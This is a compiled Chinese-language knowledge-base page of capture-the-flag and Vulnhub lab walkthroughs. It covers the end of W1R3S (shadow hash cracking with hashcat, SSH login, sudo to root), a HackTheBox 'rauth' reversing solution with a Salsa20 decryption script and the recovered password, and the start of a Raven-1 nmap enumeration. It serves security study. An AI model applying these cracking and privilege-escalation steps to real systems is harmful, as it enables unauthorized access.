w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::
```

可以看到/etc/shadow中有3个用户有密码hash，将hash值取出来放到hashcat中破解

``` bash
$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0
$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1
$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.
```

没办法，电脑GPU强，hashcat加载rockyou.txt字典几分钟就把3个hash值破解完了。。。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub130.jpg)

3个hash值里面，只有一个hash被破解出来了。。。

``` bash
D:\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 1800 password.txt --show
$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:computer
```

#### getshell

使用w1r3s/computer连接ssh

``` bash
root@kali:~# ssh w1r3s@192.168.66.7
The authenticity of host '192.168.66.7 (192.168.66.7)' can't be established.
ECDSA key fingerprint is SHA256:/3N0PzPMqtXlj9QWJFMbCufh2W95JylZ/oF82NkAAto.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.66.7' (ECDSA) to the list of known hosts.
----------------------
Think this is the way?
----------------------
Well,........possibly.
----------------------
w1r3s@192.168.66.7's password: 
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.15.0-74-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

228 packages can be updated.
0 updates are security updates.
                                                                                   
.....You made it huh?....                                                          
Last login: Mon Jan 22 22:47:27 2018 from 192.168.0.35                             
w1r3s@W1R3S:~$ id                                                                           
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ whoami
w1r3s
```

#### 提权

看到w1r3s在sudoers列表中。

``` bash
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s: 
Matching Defaults entries for w1r3s on W1R3S.localdomain:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User w1r3s may run the following commands on W1R3S.localdomain:
    (ALL : ALL) ALL
```

直接提权拿到flag

``` bash
w1r3s@W1R3S:~$ sudo /bin/bash
root@W1R3S:~# id
uid=0(root) gid=0(root) groups=0(root)
root@W1R3S:~# whoami
root
root@W1R3S:~# cd /root
root@W1R3S:/root# ls
flag.txt
root@W1R3S:/root# cat flag.txt 
-----------------------------------------------------------------------------------------
   ____ ___  _   _  ____ ____      _  _____ _   _ _        _  _____ ___ ___  _   _ ____  
  / ___/ _ \| \ | |/ ___|  _ \    / \|_   _| | | | |      / \|_   _|_ _/ _ \| \ | / ___| 
 | |  | | | |  \| | |  _| |_) |  / _ \ | | | | | | |     / _ \ | |  | | | | |  \| \___ \ 
 | |__| |_| | |\  | |_| |  _ <  / ___ \| | | |_| | |___ / ___ \| |  | | |_| | |\  |___) |
  \____\___/|_| \_|\____|_| \_\/_/   \_\_|  \___/|_____/_/   \_\_| |___\___/|_| \_|____/ 
                                                                                        
-----------------------------------------------------------------------------------------

                          .-----------------TTTT_-----_______
                        /''''''''''(______O] ----------____  \______/]_
     __...---'"""\_ --''   Q                               ___________@
 |'''                   ._   _______________=---------"""""""
 |                ..--''|   l L |_l   |
 |          ..--''      .  /-___j '   '
 |    ..--''           /  ,       '   '
 |--''                /           `    \
                      L__'         \    -
                                    -    '-.
                                     '.    /
                                       '-./

----------------------------------------------------------------------------------------
  YOU HAVE COMPLETED THE
               __      __  ______________________   _________
              /  \    /  \/_   \______   \_____  \ /   _____/
              \   \/\/   / |   ||       _/ _(__  < \_____  \ 
               \        /  |   ||    |   \/       \/        \
                \__/\  /   |___||____|_  /______  /_______  /.INC
                     \/                \/       \/        \/        CHALLENGE, V 1.0
----------------------------------------------------------------------------------------

CREATED BY SpecterWires

----------------------------------------------------------------------------------------
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub131.jpg)

#### 总结

 - 枚举目录的能力-此技能可以节省大量时间，因为在许多情况下，会发现有趣的路径充当入口点。
 - 能够搜索运行服务的漏洞-在这种情况下，设法通过一个简单的Google搜索就发现了CUPPA漏洞。利用漏洞数据库和Google之类的搜索引擎可以节省大量时间。

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end W1R3S-1-0-1 -->

</details>




# 认证程序逆向与 Salsa20 数据恢复

Rauth 的认证比较依赖加密后的输入。本章保留条件跳转分析和实际密钥恢复两个过程，核对 Salsa20 的 key、nonce、rounds 与字节序，最后以程序比较结果验证。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/crypto/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

修改条件跳转可以观察后续代码，真正的输入验证仍要恢复数据关系。

SIMD 数据显示和整数显示之间的字节序差异会影响密钥提取。

原调试截图、提取值与脚本保持一一对应。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Salsa20 参数与认证比较](#case-rauth) | rauth | 逆向、Salsa20、字节序 |

<a id="case-rauth"></a>

## Salsa20 参数与认证比较

先定位条件跳转，再恢复密钥、nonce 和字节序，最后验证真正的认证输入。原文对补丁绕过与密码恢复的不同结果均保留。

<p class="kb-provenance">来源 rauth · 原记录 2021-11-20 · 5 个代码块 · 9 处图片引用</p>

<details class="kb-evidence" id="record-rauth">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start rauth -->

#### step1

You should always check the file type first with a tool like [Detect it Easy](https://github.com/horsicq/Detect-It-Easy). Also, make sure to run these in a sandboxed environment. In this case it was a Linux executable — an ELF file. By giving it the correct permissions, you can run it.

Although, on the surface, it looks like a regular password bypass challenge, this one has a few tricks up its sleeve.



#### Initial debugging

My tool of choice for this challenge was [IDA Free](https://hex-rays.com/ida-free/), but you can use something like [Ghidra](https://github.com/NationalSecurityAgency/ghidra) or [Radare2](https://github.com/radareorg/radare2). Take note that, in IDA, if you wish to debug an interactive program and need input/output, you should open it in a terminal with this command:

``` bash
cat | ./ida64
```

After importing the file, we can dive into the decompiled code. We need to find the "main" function, and try and make sense of the program structure from there.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth.png)

The first time we run, we can already start annotating (as seen in purple), what each function does.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth1.png)

#### Challenge complete?

After debugging for a few minutes, we come to the conclusion that there are two jumps — jump if zero, to be more precise — that keep us from bypassing the verification. We’ll invert those assembly instructions to JNZ — jump if not zero.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth2.png)

And… voilá. Challenge complete… Or so it would seem.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth3.png)

As expected, there’s a twist. This is a mock development environment. If we want to have any chance at getting the flag, we’ll have to get it from the production environment — the server that was mentioned at the start.

This means we need to find out the actual password, not just bypass it. So let’s go back and retrace our steps.

#### Cryptography 101

But how far do we need to go back? We need to find out where and how the password we enter is verified.
Shortly after we enter our password, we can find this function:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth4.png)

Notice how it says "Salsa20". I've heard this term before to describe a cryptographic algorithm.

If we check Wikipedia, or some other similar source, we can verify Salsa20 is a variation of the Salsa stream cipher algorithm with 20 rounds.

In Wikipedia's Salsa article, you can find the following table:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth5.png)

This essentially means that, before the Salsa algorithm can be applied to encrypt a piece of data, it needs to create a matrix with the following information. So, ideally we should be able to find and easily identify each individual piece in memory. Let’s take a look at our registers:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth6.png)

There it is! The Salsa20 function we paused the debugging at, was actually responsible for generating this matrix. All that was left to do was to find the right register containing the information, in this case it was the RSP register.

So from: expaef39f4f20e76e33bnd 3d4c270a32-byd25f4db338e81b10te k

We can extract the following components:

 - Key: ef39f4f20e76e33bd25f4db338e81b10

 - Nonce: d4c270a3

So now, we have all we need to decrypt the password data, except for the encrypted password data itself. Bummer. Here’s where the next challenge lies.

#### Single Challenge Multiple Problems

As the program has the Salsa matrix fully built, we can deduce that it will soon enough execute its algorithm over the password we entered and compare its encrypted data to the actual encrypted passsword itself. So let’s explore the decompiled code a little more.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth7.png)

Alright, somewhere along the next few lines, we see some pointer arithmetic and, afterwards, two comparisons. One of these, should compare both encrypted keys and validate our authentication.

If we run the next few lines and pay attention to the general registers, nothing will show up. The tip is the “xmm” keyword that keeps popping up.

These XMM registers are actually specific registers for Streaming SIMD Extensions, or SSE, for short. An Intel designed set of additional CPU instructions that rely on specific registers — XMM 0 through 15. These are used in order to achieve Instruction Level Parallelism, by executing some operation over a vector of values.

If we take a look a few lines back, we can actually detect a few xmm constants.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rauth8.png)

The ones we need to pay attention to are the first two.

 - 55EF11039CC0: 0F331CBA656F5D958D5A829A3B15F0505h
 - 55EF11039CD0: 0F91BAD626FB63EE372EC9DC9312A4324h

We can remove the "h" at the end, which only tells us the value is in hexadecimal, meaning each byte is represented by two letters/numbers. So let’s separate the value by bytes as well. While we’re at it, we’ll also remove the initial 0 that isn’t doing anything there.

 - 55EF11039CC0: F3 31 CB A6 56 F5 D9 58 D5 A8 29 A3 B1 5F 05 05
 - 55EF11039CD0: F9 1B AD 62 6F B6 3E E3 72 EC 9D C9 31 2A 43 24

The problem now is that IDA was representing the value in big-endian (most significant bytes at the end), while x86 memory is in little-endian (most significant bytes at the start). This means that we need to invert the bytes, but not the string itself, as the byte pairs are self-contained.

What we're left with is this:

 - 55EF11039CC0: 05 05 5F B1 A3 29 A8 D5 58 D9 F5 56 A6 CB 31 F3
 - 55EF11039CD0: 24 43 2A 31 C9 9D EC 72 E3 3E B6 6F 62 AD 1B F9

Since the data is still encoded and encrypted, we need to create a small program to decode and then decrypt it and verify if we've found the encrypted password. I chose to write a small program in Python using [Spyder](https://www.spyder-ide.org/), but you can use whatever you feel most comfortable with.

``` bash
from Cryptodome.Cipher import Salsa20
import codecs

def UnHex(s):
    return codecs.decode(s.replace(" ", ""), 'hex_codec')

secret = b"ef39f4f20e76e33bd25f4db338e81b10"
nonce = b"d4c270a3"

# decrypt
ciphertext = UnHex("05 05 5F B1 A3 29 A8 D5 58 D9 F5 56 A6 CB 31 F3" + "24 43 2A 31 C9 9D EC 72 E3 3E B6 6F 62 AD 1B F9")

cipher = Salsa20.new(key=secret, nonce=nonce)
print(cipher.decrypt(ciphertext))
```

From this, we get the following password:

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/reversing/RAuth]
└─# python3 de.py 
b'TheCrucialRustEngineering@2021;)'
```

#### Finishing up

Now that we have the password, we only need to insert it in the production environment. So we launch the server and connect to it with an interactive TCP connection from the terminal.

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/reversing/RAuth]
└─# ./rauth 
Welcome to secure login portal!
Enter the password to access the system: 
TheCrucialRustEngineering@2021;)
Successfully Authenticated
Flag: "HTB{F4k3_f74g_4_t3s7ing}"
```

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/reversing/RAuth]
└─# nc 167.172.58.213 30700
Welcome to secure login portal!
Enter the password to access the system: 
TheCrucialRustEngineering@2021;)
Successfully Authenticated
Flag: "HTB{I_Kn0w_h0w_t0_5al54}"
```

And voilá!

#### Sources

Endianness — https://en.wikipedia.org/wiki/Endianness
Salsa20 — https://en.wikipedia.org/wiki/Salsa20
SSE — https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions
<!-- kb:end rauth -->

</details>




# 数据库权限、UDF 与动态库加载

数据库账户、数据库进程的系统身份以及插件路径权限共同决定扩展能力。本章保留 MySQL UDF、MariaDB 配置与应用初始入口，按数据、文件和执行三层核查。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/database/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Raven 两篇分别保留 PHPMailer、编译的共享库、插件路径与 setuid 程序。

Shibboleth 的 Zabbix 身份连接 MariaDB 配置分支，不能只看数据库版本。

同类 UDF 出现在其他案例时，可从技术索引找到对应来源。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [数据库进程权限与 UDF](#case-raven-1) | Raven-1 | MySQL、UDF、PHPMailer |
| [PHPMailer 参数与 UDF 动态库](#case-raven-2) | Raven-2 | PHPMailer、UDF、MySQL |
| [管理平台与 MariaDB 加载路径](#case-shibboleth) | shibboleth | Zabbix、MariaDB、CVE-2021-27928 |

<a id="case-raven-1"></a>

## 数据库进程权限与 UDF

WordPress、PHPMailer 和配置文件连接 MySQL 身份，UDF 插件路径与进程权限决定本地执行。Python SUID 的替代路径也在原文中。

<p class="kb-provenance">来源 Raven-1 · 原记录 2020-02-12 · 30 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-raven-1">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Raven-1 -->

#### 名称
名称：Raven: 1
发布日期：2018年8月14日

#### 下载

 - Download: https://drive.google.com/open?id=1pCFv-OXmknLVluUu_8ZCDr1XYWPDfLxW
 - Download (Mirror): https://download.vulnhub.com/raven/Raven.ova
 - Download (Torrent): https://download.vulnhub.com/raven/Raven.ova.torrent



#### 描述

Raven是初学者/中级boot2root计算机。有四个flag可以找到，并且有两个预期的root方法。使用VMware构建并在Virtual Box上进行了测试。设置为使用NAT网络。

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.118
Host is up (0.00016s latency).
MAC Address: 08:00:27:D2:E6:4F (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -p- -sV -v -Pn 192.168.56.118
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
36286/tcp open  status  1 (RPC #100024)

root@kali:~# nmap -p- -sU -Pn -v 192.168.56.118 --min-rate=10000
PORT    STATE SERVICE
111/udp open  rpcbind

root@kali:~# nmap -p 22,80,111,36286 -sV -v -Pn -A --script all 192.168.56.118 --min-rate=100000
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| ssh-auth-methods: 
|   Supported authentication methods: 
|     publickey
|_    password
| ssh-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 0 guesses in 1807 seconds, average tps: 0.0
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
| ssh-publickey-acceptance: 
|_  Accepted Public Keys: No public keys accepted
|_ssh-run: Failed to specify credentials and command to run.
| ssh2-enum-algos: 
|   kex_algorithms: (6)
|       curve25519-sha256@libssh.org
|       ecdh-sha2-nistp256
|       ecdh-sha2-nistp384
|       ecdh-sha2-nistp521
|       diffie-hellman-group-exchange-sha256
|       diffie-hellman-group14-sha1
|   server_host_key_algorithms: (4)
|       ssh-rsa
|       ssh-dss
|       ecdsa-sha2-nistp256
|       ssh-ed25519
|   encryption_algorithms: (6)
|       aes128-ctr
|       aes192-ctr
|       aes256-ctr
|       aes128-gcm@openssh.com
|       aes256-gcm@openssh.com
|       chacha20-poly1305@openssh.com
|   mac_algorithms: (10)
|       umac-64-etm@openssh.com
|       umac-128-etm@openssh.com
|       hmac-sha2-256-etm@openssh.com
|       hmac-sha2-512-etm@openssh.com
|       hmac-sha1-etm@openssh.com
|       umac-64@openssh.com
|       umac-128@openssh.com
|       hmac-sha2-256
|       hmac-sha2-512
|       hmac-sha1
|   compression_algorithms: (2)
|       none
|_      zlib@openssh.com
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_citrix-brute-xml: FAILED: No domain specified (use ntdomain argument)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-brute:   
|_  Path "/" does not require authentication
|_http-chrono: Request times for /; avg: 284.71ms; min: 236.36ms; max: 327.61ms
| http-comments-displayer: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.118
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 16
|     Comment: 
|         <!-- Site Title -->
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 112
|     Comment: 
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 3425
|     Comment: 
|         /*
|         ################
|                        End Blog Details  Page style
|         ################
|         */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 1989
|     Comment: 
|         /* Nav Menu Essentials */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2028
|     Comment: 
|         /* Nav Menu Arrows */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 10
|     Comment: 
|         /* Code for Firefox */
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 196
|     Comment: 
|         <!-- Start team Area -->
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 81
|     Comment: 
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 12
|     Comment: 
|         <!-- Meta Keyword -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 150
|     Comment: 
|         <!-- #colophon -->
|     
|     Path: http://192.168.56.118:80/js/jquery.counterup.min.js
|     Line number: 1
|     Comment: 
|         /*!
|         * jquery.counterup.js 1.0
|         *
|         * Copyright 2013, Benjamin Intal http://gambit.ph @bfintal
|         * Released under the GPL v2 License
|         *
|         * Date: Nov 26, 2013
|         */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 106
|     Comment: 
|         /**
|          *  Typography
|          *
|          **/
|     
|     Path: http://192.168.56.118:80/js/waypoints.min.js
|     Line number: 2
|     Comment: 
|         /*
|         jQuery Waypoints - v2.0.3
|         Copyright (c) 2011-2013 Caleb Troughton
|         Dual licensed under the MIT license and GPL license.
|         https://github.com/imakewebthings/jquery-waypoints/blob/master/licenses.txt
|         */
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 15
|     Comment: 
|          // request type html/json/xml
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 4
|     Comment: 
|         <!-- Mobile Specific Meta -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 1
|     Comment: 
|         /*--------------------------- Color variations ----------------------*/
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 7
|     Comment: 
|         /*  Basic Style 
|         /* =================================== */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 47
|     Comment: 
|         /* Microsoft Edge */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2208
|     Comment: 
|         /* Mobile Nav body classes */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 107
|     Comment: 
|         <!-- #main -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2057
|     Comment: 
|         /* Nav Meu Styling */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 75
|     Comment: 
|         <!-- .site-branding -->
|     
|     Path: http://192.168.56.118:80/contact.php
|     Line number: 148
|     Comment: 
|         <!-- End contact-page Area -->
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 291
|     Comment: 
|         <!-- End galery Area -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 156
|     Comment: 
|         /* ]]> */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 129
|     Comment: 
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 154
|     Comment: 
|         /* <![CDATA[ */
|     
|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 8
|     Comment: 
|         
|         // Website: http://labs.anthonygarand.com/sticky
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 152
|     Comment: 
|         <!-- #page -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 34
|     Comment: 
|         /* Mozilla Firefox 19+ */
|     
|     Path: http://192.168.56.118:80/js/superfish.min.js
|     Line number: 1
|     Comment: 
|         /*
|          * jQuery Superfish Menu Plugin - v1.7.9
|          * Copyright (c) 2016 Joel Birch
|          *
|          * Dual licensed under the MIT and GPL licenses:
|          *    http://www.opensource.org/licenses/mit-license.php
|          *    http://www.gnu.org/licenses/gpl.html
|          */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 4
|     Comment: 
|         /* Mobile Layout: 320px */
|     
|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 6
|     Comment: 
|         
|         // Created: 2/14/2011
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 27
|     Comment: 
|         /* Mozilla Firefox 4 to 18 */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 141
|     Comment: 
|         <!-- #content -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 80
|     Comment: 
|         <!-- #masthead -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 137
|     Comment: 
|         <!-- #secondary -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 105
|     Comment: 
|         <!-- #post-## -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 108
|     Comment: 
|         <!-- #primary -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 102
|     Comment: 
|         <!-- .entry-content -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 97
|     Comment: 
|         <!-- .entry-header -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 16
|     Comment: 
|          // serialize form data
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 6
|     Comment: 
|         /* =================================== */
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 210
|     Comment: 
|         <!-- End feature Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 3
|     Comment: 
|         /* Tablet Layout: 768px */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 77
|     Comment: 
|         /* No Js */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 118
|     Comment: 
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 77
|     Comment: 
|         <!-- .custom-header -->
|     
|     Path: http://192.168.56.118:80/js/jquery.sticky.js
|     Line number: 140
|     Comment: 
|          // should be more efficient than using $window.scroll(scroller) and $window.resize(resizer):
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 21
|     Comment: 
|         /* WebKit, Blink, Edge */
|     
|     Path: http://192.168.56.118:80/js/jquery.magnific-popup.min.js
|     Line number: 1
|     Comment: 
|         /*! Magnific Popup - v1.1.0 - 2016-02-20
|         * http://dimsemenov.com/plugins/magnific-popup/
|         * Copyright (c) 2016 Dmitry Semenov; */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2
|     Comment: 
|         /* Medium Layout: 1280px */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 70
|     Comment: 
|         <!-- .site-branding-text -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 14
|     Comment: 
|         <!-- meta character set -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 269
|     Comment: 
|         <!-- start footer Area -->
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 41
|     Comment: 
|         /* Internet Explorer 10-11 */
|     
|     Path: http://192.168.56.118:80/css/linearicons.css
|     Line number: 22
|     Comment: 
|         /* Better Font Rendering =========== */
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 74
|     Comment: 
|         <!-- start banner Area -->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 39
|     Comment: 
|         <!--[if lt IE 9]>
|         <script type='text/javascript' src='http://raven.local/wordpress/wp-content/themes/twentyseventeen/assets/js/html5.js?ver=3.7.3'></script>
|         <![endif]-->
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 36
|     Comment: 
|         <!--[if lt IE 9]>
|         <link rel='stylesheet' id='twentyseventeen-ie8-css'  href='http://raven.local/wordpress/wp-content/themes/twentyseventeen/assets/css/ie8.css?ver=1.0' type='text/css' media='all' />
|         <![endif]-->
|     
|     Path: http://192.168.56.118:80/js/jquery.nice-select.min.js
|     Line number: 1
|     Comment: 
|         /*  jQuery Nice Select - v1.0
|             https://github.com/hernansartorio/jquery-nice-select
|             Made by Hern\xC3\xA1n Sartorio  */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 6
|     Comment: 
|         
|         
|          */
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 97
|     Comment: 
|         <!-- .entry-meta -->
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 29
|     Comment: 
|         /* fix for flashing background */
|     
|     Path: http://192.168.56.118:80/css/owl.carousel.css
|     Line number: 13
|     Comment: 
|         /* position relative and z-index fix webkit rendering fonts issue */
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 2101
|     Comment: 
|         /* Mobile Nav Toggle */
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 368
|     Comment: 
|         <!-- End blog Area -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 20
|     Comment: 
|         <!--
|                               CSS
|                               ============================================= -->
|     
|     Path: http://192.168.56.118:80/js/parallax.min.js
|     Line number: 1
|     Comment: 
|         /*!
|          * parallax.js v1.5.0 (http://pixelcog.github.io/parallax.js/)
|          * @copyright 2016 PixelCog, Inc.
|          * @license MIT (https://github.com/pixelcog/parallax.js/blob/master/LICENSE)
|          */
|     
|     Path: http://192.168.56.118:80/js/jquery.ajaxchimp.min.js
|     Line number: 103
|     Comment: 
|          // Translate and display submit message
|     
|     Path: http://192.168.56.118:80/js/jquery.ajaxchimp.min.js
|     Line number: 69
|     Comment: 
|          // Translate and display message
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 151
|     Comment: 
|         <!-- .site-content-contain -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 10
|     Comment: 
|          // prevent default form submit
|     
|     Path: http://192.168.56.118:80/wordpress/
|     Line number: 148
|     Comment: 
|         <!-- .site-info -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 23
|     Comment: 
|          // reset form
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 22
|     Comment: 
|          // fade in response data
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 14
|     Comment: 
|          // form submit method get/post
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 10
|     Comment: 
|         <!-- Meta Description -->
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 68
|     Comment: 
|         <!-- #nav-menu-container -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 19
|     Comment: 
|          // change submit button text
|     
|     Path: http://192.168.56.118:80/css/main.css
|     Line number: 167
|     Comment: 
|         /**
|          * For modern browsers
|          * 1. The space content is one way to avoid an Opera bug when the
|          *    contenteditable attribute is included anywhere else in the document.
|          *    Otherwise it causes space to appear at the top and bottom of elements
|          *    that are clearfixed.
|          * 2. The use of `table` rather than `block` is only necessary if using
|          *    `:before` to contain the top-margins of child elements.
|          */
|     
|     Path: http://192.168.56.118:80/index.html
|     Line number: 150
|     Comment: 
|         <!-- Start feature Area -->
|     
|     Path: http://192.168.56.118:80/js/mail-script.js
|     Line number: 13
|     Comment: 
|          // form action url
|     
|     Path: http://192.168.56.118:80/about.html
|     Line number: 280
|     Comment: 
|         <!-- Link back to Colorlib can't be removed. Template is licensed under CC BY 3.0. -->
|     
